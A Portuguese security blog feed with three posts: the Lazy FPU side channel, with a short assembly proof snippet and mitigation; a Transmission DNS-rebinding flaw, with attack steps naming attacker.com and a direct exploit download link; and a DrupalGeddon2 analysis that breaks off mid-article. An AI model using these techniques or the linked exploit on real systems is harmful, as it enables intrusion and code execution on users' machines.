<p><span class="notranslate">Esta vulnerabilidade é semelhante ao <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://blog.cyberus-technology.de/posts/2018-01-03-meltdown.html&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhhzmxdkNib6ZbP7jRSM3CZ3-mu9dQ" rel="nofollow noopener">Meltdown (CVE-2017-5754)</a> .</span> <span class="notranslate">Enquanto o Meltdown permitia ler o conteúdo da memória protegida de um programa de espaço do usuário, esse novo ataque permite ler determinados conteúdos de registro nos limites do domínio de proteção.</span></p>
<p><span class="notranslate">Para explorar a vulnerabilidade, o invasor acessa os registros FPU que ele não tem permissão para acessar ainda.</span> <span class="notranslate">Esse valor proibido é alimentado em um cálculo de endereço que é usado para um acesso de memória subseqüente.</span> <span class="notranslate">A CPU executará esta série de instruções especulativamente, ou seja, o conteúdo do registro correspondente é esmagado quando detecta seu erro.</span></p>
<p><span class="notranslate">Em seguida, ele tenta ler / gravar de / para um endereço de memória que contém o valor de registro proibido como parte de seu deslocamento de endereço.</span> <span class="notranslate">A CPU executará especulativamente essa série de cargas e armazenamentos, mas detectará e corrigirá seu erro.</span><span class="notranslate">No entanto, essa execução especulativa deixa rastros no cache que podem vazar informações ocultas para o invasor.</span></p>
<p><span class="notranslate">Para entender melhor como esse ataque realmente funciona, é necessário aprofundar o funcionamento interno do x86 FPU e como ele é usado pelos sistemas operacionais.</span></p>
<h3 id="the-floating-point-unit-fpu"><span class="notranslate">A unidade de ponto flutuante (FPU)</span></h3>
<p><span class="notranslate">Nos primórdios do x86, o FPU (também chamado de coprocessador matemático) era um coprocessador externo que poderia ser adicionado à arquitetura de processador x86 adotada agora pela Intel.</span> <span class="notranslate">O <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Intel_8087&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhgp_rSy7K47fwaPzNkNm1jabvp3JQ" rel="nofollow noopener">Intel 8087</a> foi o primeiro co-processador matemático de ponto flutuante deste tipo.</span> <span class="notranslate">O objetivo dessa extensão era acelerar as operações matemáticas em números de ponto flutuante, como divisão e multiplicação.</span> <span class="notranslate">Com o <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/Intel_80486&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhisrWfBSNQEi2JncEOF26OaPjWe1g" rel="nofollow noopener">modelo de CPU Intel 486DX</a> (lançado em 1989), o FPU foi integrado ao próprio microchip.</span> <span class="notranslate">Dessa forma, nenhum coprocessador adicional era necessário.</span></p>
<p><span class="notranslate">Ao longo dos anos, o processador foi estendido para suportar conjuntos de <em>instruções de instrução única, dados múltiplos</em> (SIMD), ou seja, MMX / SSE / AVX.</span> <span class="notranslate">As instruções SIMD executam a mesma operação matemática em vários pares de operandos ao mesmo tempo para melhorar o desempenho.</span> <span class="notranslate">Cada uma dessas extensões de conjunto de instruções introduziu novos conjuntos de registradores que continuam sendo gerenciados como parte do estado do registro da FPU.</span> <span class="notranslate">Em processadores Intel recentes, o estado do registrador FPU pode conter mais de 2 kB de dados (o AVX2 oferece 32 registradores de 512 bits cada, o que se traduz em um estado de processador adicional de 2 kB).</span> <span class="notranslate">Devido à utilidade destas instruções, este conjunto de registros pode conter não apenas valores de ponto flutuante, mas também outros dados como, por exemplo, valores inteiros.</span></p>
<h3 id="loading-and-storing-the-fpu-state"><span class="notranslate">Carregando e armazenando o estado do FPU</span></h3>
<p><span class="notranslate">Para habilitar a multitarefa, os sistemas operacionais interrompem periodicamente os processos para dar a outros processos a chance de serem executados.</span> <span class="notranslate">Caso contrário, um único processo que faz um loop para sempre poderia parar o sistema.</span></p>
<p><span class="notranslate">Quando o sistema operacional alterna de um processo para outro, ele precisa salvar o estado do processo anterior e restaurar o estado do processo que está prestes a ser executado.</span> <span class="notranslate">Este estado consiste nos valores armazenados em registradores de propósito geral e registros FPU.</span></p>
<p><span class="notranslate">A arquitetura de instruções x86 fornece várias instruções para carregar / armazenar o estado do registrador da FPU de / para a memória.</span> <span class="notranslate">Já sabemos sobre o tamanho grande do estado da FPU, portanto, é bastante óbvio que não se deseja ler e gravar tais quantidades de dados em todas as mudanças de contexto, a menos que seja realmente necessário, porque nem todos os processos usam a FPU.</span></p>
<h3 id="eager-and-lazy-fpu-switching"><span class="notranslate">Comutação FPU ansiosa e lenta</span></h3>
<p><span class="notranslate">O comutador FPU ansioso é comparável a salvar o estado de registrador de propósito geral em um comutador de contexto.</span> <span class="notranslate">Para cada processo, o sistema operacional reserva uma área na memória para salvar o estado da FPU.</span> <span class="notranslate">Ao alternar de um processo para outro, ele executa uma instrução de armazenamento de FPU para transferir o conteúdo da FPU atual para a área de salvamento do estado.</span> <span class="notranslate">Em seguida, ele carrega o novo estado FPU da área de salvamento do estado do processo que está prestes a ser planejado.</span></p>
<p><span class="notranslate">A comutação FPU preguiçosa otimiza este procedimento para o caso em que nem todo processo usa o FPU o tempo todo.</span></p>
<p><span class="notranslate">Após uma troca de contexto, a FPU é desativada até ser usada pela primeira vez.</span> <span class="notranslate">Só então, o antigo estado FPU será salvo e o correto será restaurado da memória.</span> <span class="notranslate">Até este ponto, o FPU mantém o estado do registro do processo ou da VM que o usou por último.</span></p>
<p><span class="notranslate">Para implementar essa otimização, o kernel do sistema operacional desabilita temporariamente o FPU definindo um certo bit de registro de controle ( <code>CR0.TS</code> ).</span> <span class="notranslate">Se este bit estiver definido, qualquer tentativa de acessar o FPU causará uma exceção ( <code>#NM</code> , <em>Dispositivo não disponível, Nenhum coprocessador matemático</em> ).</span> <span class="notranslate">Quando a exceção ocorre, o kernel pode salvar o estado antigo na respectiva área de estado e restaurar o estado do processo atual.</span> <span class="notranslate">Os processos que simplesmente não usam o FPU nunca acionam essa exceção e, portanto, nunca acionam armazenamentos e cargas de estado do FPU.</span></p>
<p><span class="notranslate">Começando com a introdução da <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://en.wikipedia.org/wiki/X86-64&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhhWlqqOalA2pVQCndA7rlfnTHsjmQ" rel="nofollow noopener">arquitetura x86-64</a> , a presença de pelo menos algumas extensões de conjuntos de instruções SIMD é obrigatória e seu uso se tornou mais difundido.</span><span class="notranslate">Como tal, a suposição subjacente de comutação de FPU preguiçosa não é mais válida.</span> <span class="notranslate">O ganho de desempenho pela comutação preguiçosa do FPU tornou-se insignificante, e alguns núcleos já o removeram em favor de troca rápida.</span></p>
<h3 id="the-attack"><span class="notranslate">O ataque</span></h3>
<p><span class="notranslate">O ataque funciona lendo o conteúdo do registro FPU enquanto o FPU está desabilitado e divulgando o conteúdo através de um canal lateral baseado em cache.</span> <span class="notranslate">Neste ponto, o FPU contém o conteúdo do registro do último processo que o utilizou.</span></p>
<p><span class="notranslate">Para tornar esse ataque prático, é necessário ocultar a exceção que normalmente ocorre ao acessar o FPU.</span> <span class="notranslate">Encontramos três maneiras diferentes de fazer isso:</span></p>
<h4 id="method-1-executing-the-attack-in-the-shadow-of-a-pagefault"><span class="notranslate">Executando o ataque na sombra de um pagefault</span></h4>
<p><span class="notranslate">Todas as três versões funcionam de forma semelhante.</span> <span class="notranslate">Uma versão simplificada do pagefault poderia ser assim:</span></p>
<pre class="sourceCode asm"><code class="sourceCode fasm"><a id="cb1-1" class="sourceLine" data-line-number="1"></a><span class="bu">mov</span> <span class="dt">dword</span> [<span class="dv">0</span>], <span class="dv">0</span>         <span class="co">; Aciona um pagefault</span>
<a id="cb1-2" class="sourceLine" data-line-number="2"></a><span class="bu">movq</span> <span class="kw">rax</span>, <span class="kw">xmm0</span>           <span class="co">; Lê o conteúdo de xmm0, acionando #NM</span>
<a id="cb1-3" class="sourceLine" data-line-number="3"></a><span class="bu">and</span> <span class="kw">rax</span>, <span class="dv">1</span>               <span class="co">; máscara bit 0</span>
<a id="cb1-4" class="sourceLine" data-line-number="4"></a><span class="bu">shl</span> <span class="kw">rax</span>, <span class="dv">6</span>               <span class="co">; alinhando à linha de cache</span>
<a id="cb1-5" class="sourceLine" data-line-number="5"></a><span class="bu">mov</span> <span class="dt">dword</span> [mem + <span class="kw">rax</span>], <span class="dv">0</span> <span class="co">; acessando "mem" com offset dependendo do conteúdo de xmm0

</span></code></pre>
<h3 id="the-attack"><span class="notranslate">O ataque</span></h3>
<p><span class="notranslate">O truque aqui é que a exceção <code>#NM</code> nunca ocorre, porque a instrução que toca no registrador FPU <code>xmm0</code> é executada apenas especulativamente.</span> <span class="notranslate">No entanto, o local da memória tocado depende do valor de <code>xmm0</code> e esse valor pode ser recuperado usando o mesmo ataque flush-and-reload que também é usado no Meltdown e no Specter.</span> <span class="notranslate"><code>mem</code> é apenas um buffer de memória comum que é acessível ao aplicativo.</span> <span class="notranslate">Neste ponto, estamos de volta ao estado inicial e podemos tentar novamente o ataque para vazar todo o estado do registro, bit por bit (sempre mascarando um bit diferente na etapa <code>and</code> do snippet de código).</span></p>
<p>OBS:  N<span class="notranslate">ote que o código de exemplo neste artigo apenas lê um único bit por uma questão de simplicidade.</span> <span class="notranslate">Mas a prova de conceito dos descobridores da vulnerabilidade lê vários bytes ao mesmo tempo, a fim de reduzir ainda mais o tamanho da janela de tempo necessária.</span></p>
<p><strong>Existem outros 2 métodos de ataque que a pedido da Intel não foram publicados pelos descobridores da falha.</strong></p>
<h3 id="practicability"><span class="notranslate">Praticabilidade</span></h3>
<p><span class="notranslate">A praticabilidade do ataque varia de acordo com os diferentes métodos para empregá-lo: O atacante precisa de uma janela de tempo em que nenhuma interrupção pelo sistema operacional ocorra para ler todos os bits do registro, porque toda preempção tem a chance de alterar o estado do registrador e tornar o resultado inútil.</span> <span class="notranslate">Assim, quanto mais rápido o método de ataque, maior a probabilidade de sucesso.</span></p>
<h2 id="mitigation"><span class="notranslate">Mitigação</span></h2>
<p><span class="notranslate">Usando servidores <strong>Linux</strong> com versões de kernel&gt; = 3.7, este ataque pode ser mitigado adicionando “ <code>eagerfpu=on</code> ” aos parâmetros de inicialização do kernel.</span> <span class="notranslate">Não temos conhecimento de uma solução alternativa para versões mais antigas.</span> <span class="notranslate">Para todos os outros sistemas operacionais: instale as atualizações oficiais do fornecedor.</span></p>
<p><span class="notranslate">Não estamos cientes de uma penalidade de desempenho causada pelo uso de uma rápida troca de FPU.</span> <span class="notranslate">A <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=pt-BR&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;tl=pt-BR&amp;u=https://github.com/torvalds/linux/commit/58122bf1d856a4ea9581d62a07c557d997d46a19&amp;xid=17259,15700002,15700021,15700124,15700149,15700168,15700173,15700186,15700190,15700201&amp;usg=ALkJrhh9QhiGS8vQR5grfXhOms-qfzzXBg" rel="nofollow noopener">mensagem de commit do patch do kernel do Linux</a> que fez com que o FPU ansioso mudasse o padrão dos sistemas Linux até mesmo aponta que as suposições que justificaram a comutação lenta do FPU no passado não se sustentam mais na maioria dos sistemas modernos.</span></p>
<p>&nbsp;</p>
<p>Pesquisa e tradução: Marcio Mariano Galvão &#8211; Team Linux Force.</p>
<p>Fonte: blog.cyberus-technology.de</p>
<style type="text/css" scoped>
    .mauticform_wrapper 
		{ float: left; max-width: 600px; margin: 10px auto; color: #6f6f6f; font-weight: 400; font-family: 'Source Sans Pro', 'Helvetica Neue', 'Arial', 'sans-serif';font-size: 18px;}
    .mauticform-innerform 
		{}
    .mauticform-post-success 
		{}
    .mauticform-name 
		{ font-weight: bold; font-size: 1.5em; margin-bottom: 3px; }
    .mauticform-description 
		{ margin-top: 2px; margin-bottom: 10px; }
    .mauticform-error 
		{ margin-bottom: 10px; color: red; }
    .mauticform-message 
		{ margin-bottom: 10px;color: green; }
    .mauticform-row 
		{ display: block; margin-bottom: 20px; }
    .mauticform-label 
		{ float: left ; font-size: 1.1em; display: block; font-weight: bold; margin-bottom: 3px; margin-top: 11px; margin-right: 20px; }
    .mauticform-row.mauticform-required .mauticform-label:after 
		{ color: #e32; content: " *"; display: inline; }
    .mauticform-helpmessage 
		{ display: block; font-size: 0.9em; margin-bottom: 3px; }
    .mauticform-errormsg 
		{ display: block; color: red; margin-top: 2px; }
    .mauticform-selectbox
		{ width: 100%; padding: 0.5em 0.5em; border: 1px solid #CCC; background: #fff; box-shadow: 0px 0px 0px #fff inset; border-radius: 4px; box-sizing: border-box; }
	.mauticform-input
		{ float: right; margin-top: 10px; }
	.mauticform-textarea 
		{ width: 100%; padding: 0.5em 0.5em; border: 1px solid #CCC; background: #fff; box-shadow: 0px 0px 0px #fff inset; border-radius: 4px; box-sizing: border-box; margin-top: 10px;}
    .mauticform-checkboxgrp-row 
		{}
    .mauticform-checkboxgrp-label 
	{ font-weight: normal; }
    .mauticform-checkboxgrp-checkbox 
	{}
    .mauticform-radiogrp-row 
	{}
    .mauticform-radiogrp-label 
	{ font-weight: normal; }
    .mauticform-radiogrp-radio 
	{}
    .mauticform-button-wrapper .mauticform-button.btn-default 
	{ color: #5d6c7c;background-color: #ffffff;border-color: #dddddd;}
    .mauticform-button-wrapper .mauticform-button 
	{ display: inline-block;margin-bottom: 0;font-weight: 600;text-align: center;vertical-align: middle;cursor: pointer;background-image: none;border: 1px solid transparent;white-space: nowrap;padding: 6px 12px;font-size: 13px;line-height: 1.3856;border-radius: 3px;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;}
    .mauticform-button-wrapper .mauticform-button.btn-default[disabled] 
	{ background-color: #ffffff; border-color: #dddddd;}
</style>
<div id="mauticform_wrapper_formulariotestemautic" class="mauticform_wrapper">
<form autocomplete="false" role="form" method="post" action="https://mkt.linuxforce.com.br/form/submit?formId=1" id="mauticform_formulariotestemautic" data-mautic-form="formulariotestemautic" enctype="multipart/form-data">
<div class="mauticform-error" id="mauticform_formulariotestemautic_error"></div>
<div class="mauticform-message" id="mauticform_formulariotestemautic_message"></div>
<div class="mauticform-innerform">
<div class="mauticform-page-wrapper mauticform-page-1" data-mautic-form-page="1">
<div id="mauticform_formulariotestemautic_nome" data-validate="nome" data-validation-type="text" class="mauticform-row mauticform-text mauticform-field-1 mauticform-required">
                <label id="mauticform_label_formulariotestemautic_nome" for="mauticform_input_formulariotestemautic_nome" class="mauticform-label">Nome</label><br />
                <input id="mauticform_input_formulariotestemautic_nome" name="mauticform[nome]" value="" class="mauticform-input" type="text"><br />
                <span class="mauticform-errormsg" style="display: none;">This is required.</span>
            </div>
<div id="mauticform_formulariotestemautic_seu_email" data-validate="seu_email" data-validation-type="email" class="mauticform-row mauticform-email mauticform-field-2 mauticform-required">
                <label id="mauticform_label_formulariotestemautic_seu_email" for="mauticform_input_formulariotestemautic_seu_email" class="mauticform-label">Seu email</label><br />
                <input id="mauticform_input_formulariotestemautic_seu_email" name="mauticform[seu_email]" value="" class="mauticform-input" type="email"><br />
                <span class="mauticform-errormsg" style="display: none;">Precisamos do seu email para te retornar!</span>
            </div>
<div id="mauticform_formulariotestemautic_telefone1" data-validate="telefone1" data-validation-type="tel" class="mauticform-row mauticform-tel mauticform-field-3 mauticform-required">
                <label id="mauticform_label_formulariotestemautic_telefone1" for="mauticform_input_formulariotestemautic_telefone1" class="mauticform-label">Telefone</label><br />
                <input id="mauticform_input_formulariotestemautic_telefone1" name="mauticform[telefone1]" value="" class="mauticform-input" type="tel"><br />
                <span class="mauticform-errormsg" style="display: none;">This is required.</span>
            </div>
<div id="mauticform_formulariotestemautic_mensagem" class="mauticform-row mauticform-text mauticform-field-4">
                <label id="mauticform_label_formulariotestemautic_mensagem" for="mauticform_input_formulariotestemautic_mensagem" class="mauticform-label">Mensagem</label><br />
                <textarea id="mauticform_input_formulariotestemautic_mensagem" name="mauticform[mensagem]" class="mauticform-textarea"></textarea><br />
                <span class="mauticform-errormsg" style="display: none;"></span>
            </div>
<div id="mauticform_formulariotestemautic_submit" class="mauticform-row mauticform-button-wrapper mauticform-field-5">
                <button type="submit" name="mauticform[submit]" id="mauticform_input_formulariotestemautic_submit" value="" class="mauticform-button btn btn-default">Submit</button>
            </div>
</p></div>
</p></div>
<p>        <input type="hidden" name="mauticform[formId]" id="mauticform_formulariotestemautic_id" value="1"><br />
        <input type="hidden" name="mauticform[return]" id="mauticform_formulariotestemautic_return" value=""><br />
        <input type="hidden" name="mauticform[formName]" id="mauticform_formulariotestemautic_name" value="formulariotestemautic"></p></form>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/lazy-fpu-a-nova-vulnerabilidade-da-intel/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Transmission Torrent Vulnerável &#124; Exploit disponível neste artigo!</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/transmission-torrent-vulneravel/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:27 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1497</guid>

					<description><![CDATA[O aplicativo de torrent Transmission utilizado em muitas distribuições Linux está vulnerável em todas as suas versões e afeta inclusive sistemas Windows e muito provavelmente MacOS. A nossa recomendação é desinstalar o aplicativo pelo menos até que uma correção seja divulgada ou então ativar a proteção por senha da interface JSON RPC sugerida pelos desenvolvedores [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>O aplicativo de torrent Transmission utilizado em muitas distribuições Linux está vulnerável em todas as suas versões e afeta inclusive sistemas Windows e muito provavelmente MacOS. A nossa recomendação é desinstalar o aplicativo pelo menos até que uma correção seja divulgada ou então ativar a proteção por senha da interface JSON RPC sugerida pelos desenvolvedores do Transmission sobre a falha, você pode encontrar o arquivo para configurar a senha para o JSON RPC no Ubuntu em /home/&#8221;seu-usuário&#8221;/.config/transmission/settings.json.</p>
<p>Devemos agradecer esta descoberta ao team do Project Zero do Google, mais especificamente a Tavis Ormandy. Para quem não sabe, o Project Zero se trata de um team de engenheiros do Google especializado em descobrir falhas de segurança, o mesmo team que descobriu as falhas nos processadores Intel e outras arquiteturas recentemente. Vale lembrar que o mesmo tipo de falha muito provavelmente está presente em outros aplicativos de torrent segundo afirmações de Ormandy.</p>
<p>&nbsp;</p>
<p><span class="notranslate">De acordo com a vulnerabilidade relatada, Usando um ataque do tipo <strong>DNS Rebinding</strong> os atacantes podem assumir o controle dos sistemas dos usuários criando um nome DNS com o qual estão autorizados a se comunicar e, em seguida, redirecionam para o nome &#8220;localhost&#8221; do computador vulnerável.</span> <span class="notranslate">Em uma publicação separada ao publicar o patch para o mesmo, Ormandy afirmou que <strong>o ataque ocorre da seguinte maneira:</strong></span></p>
<ol>
<li><span class="notranslate">Um usuário visita <code>http://attacker.com</code> , que tem um <code>&lt;iframe&gt;</code> para um subdomínio que o invasor controla.</span></li>
<li><span class="notranslate">O invasor configura seu servidor DNS para responder alternadamente com <code>127.0.0.1</code> e<code>123.123.123.123</code> (um endereço que eles controlam) com um TTL muito baixo.</span></li>
<li><span class="notranslate">Quando o navegador resolve o <code>123.123.123.123</code> , eles atendem HTML que espera que a entrada do DNS expire (ou forçam a expirar inundando o cache com pesquisas), então eles têm permissão para ler e definir cabeçalhos.</span></li>
</ol>
<p>&nbsp;</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/01/DNS-Rebinding.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1500" src="https://www.linuxforce.com.br/wp-content/uploads/2018/01/DNS-Rebinding.jpg" alt="" width="696" height="332" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate">Usando a vulnerabilidade acima, o invasor pode alterar o diretório de download do Torrent para o diretório inicial do usuário e, em seguida, fazer a Transmissão baixar um Torrent chamado &#8220;.bashrc&#8221; que seria executado automaticamente na próxima vez que o usuário abrir uma bash Shell.</span> <span class="notranslate"><strong>Os atacantes também ganham a capacidade de configurar remotamente a transmissão</strong> para executar qualquer comando de sua escolha depois de um download ter sido concluído.</span></p>
<p>Segue abaixo link para Download do Exploit direto do Github da Offensive Security:</p>
<p><strong>Download</strong>:<strong> <a href="https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43665.zip" rel="nofollow noopener">https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43665.zip</a></strong></p>
<p>O arquivo esta em formato MD após sua extração, formato utilizado e recomendado pelo Github para desenvolvedores, qualquer dúvida pesquisem antes.</p>
<p>Quer ser um profissional de segurança da informação e aprender a utilizar este entre outros milhares de exploits? basta chamar em nosso chat online e falar com um de nossos atendentes para tirar todas as dúvidas.</p>
<p>Para os usuários Linux e fãs de torrent assim como nós, fica a dica de nosso team &gt; <strong>Em computador usado para trabalho com dados que precisam ser resguardados, menos e sempre mais, quanto mais cru e enxuto for seu sistema que usa para trabalho, mais seguro ele será!</strong></p>
<p>Fontes: Google Security Research, Exploit-db.com</p>
<p>&nbsp;</p>
<p>[mautic type=&#8221;form&#8221; id=&#8221;4&#8243;]</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Drupal Remote Code Execution &#8211; DrupalGeddon2 &lt; 7.58 / &lt; 8.3.9 / &lt; 8.4.6 / &lt; 8.5.1</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/drupal-vulnerabilidade-drupalgeddon2/</link>
					<comments>https://linuxforce.com.br/seguranca-da-informacao/drupal-vulnerabilidade-drupalgeddon2/#respond</comments>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:27 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1548</guid>

					<description><![CDATA[No final de março, os desenvolvedores do Drupal lançaram uma atualização para abordar o CVE-2018-7600, uma falha de execução remota de código altamente crítica que pode ser explorada para assumir o controle total de um site. A falha de segurança afeta o Drupal 6, 7 e 8, e os patches foram lançados para cada uma das [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><span class="notranslate">No final de março, os desenvolvedores do Drupal lançaram uma atualização para abordar o CVE-2018-7600, uma falha de execução remota de código altamente crítica que pode ser explorada para assumir o controle total de um site.</span> <span class="notranslate">A falha de segurança afeta o Drupal 6, 7 e 8, e os patches foram lançados para cada uma das versões impactadas &#8211; o Drupal 6 não é mais suportado desde fevereiro de 2016, mas um patch ainda foi criado.</span></p>
<p><span class="notranslate">Especialistas alertaram na época que a exploração da vulnerabilidade, apelidada de <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://www.securityweek.com/drupalgeddon-critical-flaw-exposes-million-drupal-websites-attacks&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhjjnib8kNGPHE_oUTTfzzRjgSBm4w" target="_blank" rel="noopener noreferrer nofollow">Drupalgeddon2</a> , era iminente.</span> <span class="notranslate">No entanto, demorou cerca de duas semanas para que uma exploração de prova de conceito (PoC) se tornasse publicamente disponível.</span></p>
<p><span class="notranslate">Pesquisadores da Check Point e especialistas em Drupal da Dofinity trabalharam juntos para descobrir a vulnerabilidade e na quinta-feira publicaram uma análise técnica detalhada e que nós da Linux Force Security traduzimos para o português e disponibilizamos logo abaixo:</span></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Detalhes técnicos</strong></span></p>
<p><span class="notranslate"><strong>A vulnerabilidade</strong></span></p>
<p><span class="notranslate">Para fornecer algumas informações básicas, a API Form do Drupal foi introduzida no Drupal 6 e permitiu a alteração dos dados do formulário durante o processo de renderização do formulário.</span> <span class="notranslate">Isso revolucionou a forma como o processamento de marcação foi feito.</span></p>
<p><span class="notranslate">No Drupal 7, a API Form foi generalizada para o que hoje é conhecido como “Renderable Arrays”.</span> <span class="notranslate">Essa API estendida é usada para representar a estrutura da maioria dos elementos da interface do usuário no Drupal, como páginas, blocos, nós e muito mais.</span></p>
<p><span class="notranslate">Matrizes renderizáveis ​​contêm metadados que são usados ​​no processo de renderização.</span> <span class="notranslate">Esses arrays renderizáveis ​​são uma estrutura de valor-chave na qual as chaves de propriedade começam com um sinal de hash (#).</span> <span class="notranslate">Por favor, veja abaixo um exemplo:</span></p>
<p style="text-align: center;"><span class="notranslate">[</span><br />
<span class="notranslate">&#8216;#type&#8217; =&gt; &#8216;marcação&#8217;,</span><br />
<span class="notranslate">&#8216;#markup&#8217; =&gt; &#8216;&lt;em&gt; algum texto &lt;/ em&gt;&#8217;,</span><br />
<span class="notranslate">&#8216;#prefix&#8217; =&gt; &#8216;&lt;div&gt;&#8217;,</span><br />
<span class="notranslate">&#8216;#suffix&#8217; =&gt; &#8216;&lt;/ div&gt;&#8217;</span><br />
<span class="notranslate">]</span></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Patch do Drupal</strong></span></p>
<p><span class="notranslate">O patch que o Drupal publicou adiciona uma única classe chamada <em>RequestSanitizer</em> com um método <em>stripDangerousValues</em> que anula todos os itens em uma matriz de entrada para chaves que começam com um sinal de hash.</span> <span class="notranslate">Esse método limpa os dados de entrada em $ _GET, $ _POST &amp; $ _COOKIES durante os primeiros estágios do bootstrap do Drupal (imediatamente após carregar as configurações do site).</span></p>
<p><span class="notranslate">Assumimos que uma das razões pelas quais o patch foi feito dessa maneira foi dificultar a localização e a exploração da vulnerabilidade.</span></p>
<p><span class="notranslate"><strong>Encontrando um Vector de Ataque</strong></span></p>
<p><span class="notranslate">Por causa do acima, nos concentramos em formulários que são expostos a usuários anônimos.</span></p>
<p><span class="notranslate">Existem alguns desses formulários disponíveis, um dos quais é o formulário de registro do usuário.</span> <span class="notranslate">Este formulário contém vários campos, como pode ser visto na captura de tela abaixo.</span></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 1:</strong> O formulário de registro do Drupal.</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vnulenrabilidade-linux-force-security-01.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1551" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vnulenrabilidade-linux-force-security-01.png" alt="" width="634" height="842" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate">Sabíamos que precisávamos injetar um array renderizável em algum lugar na estrutura do formulário, só precisávamos descobrir onde.</span></p>
<p><span class="notranslate">Quando isso acontece, o campo &#8220;Endereço de e-mail&#8221; não limpa o tipo de entrada que recebe.</span> <span class="notranslate">Isso nos permitiu injetar um array na estrutura do array de formulários (como o valor do campo de email).</span></p>
<p>&nbsp;</p>
<p><strong>Figura 2:</strong> Injetando nosso array renderizável na entrada de <em>email</em> do formulário de registro.</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-02.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1552" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-02.jpg" alt="" width="721" height="256" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 3:</strong> Exemplo de matriz renderizável de formulário injetado.</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-03.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1553" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-03.png" alt="" width="530" height="1124" /></a></p>
<p><span class="notranslate">Agora tudo o que precisávamos era que o Drupal processasse nosso array injetado.</span> <span class="notranslate">Como o Drupal trata nossa matriz injetada como um valor e não como um elemento, precisamos enganar o Drupal para renderizá-lo.</span></p>
<p><span class="notranslate">As situações em que o Drupal renderiza matrizes são as seguintes:</span></p>
<ol>
<li><span class="notranslate">Carregamento de página</span></li>
<li><span class="notranslate">Drupal AJAX API &#8211; ou seja, quando um usuário preenche um formulário AJAX, uma solicitação é feita ao Drupal, que renderiza uma marcação HTML e atualiza o formulário.</span></li>
</ol>
<p><span class="notranslate">Após investigar possíveis vetores de ataque em torno das funcionalidades acima, por causa do processo de renderização pós-submissão e do modo como o Drupal o implementa, chegamos à conclusão de que uma chamada API AJAX é nossa melhor opção para alavancar um ataque.</span></p>
<p><span class="notranslate">Como parte do formulário de registro do usuário, o campo &#8220;Imagem&#8221; usa a API AJAX do Drupal para enviar uma imagem para o servidor e substituí-la por uma miniatura da imagem carregada.</span></p>
<p>&nbsp;</p>
<p><strong>Figura 4:</strong> Formulário usado para enviar uma imagem usando a API do AJAX.</p>
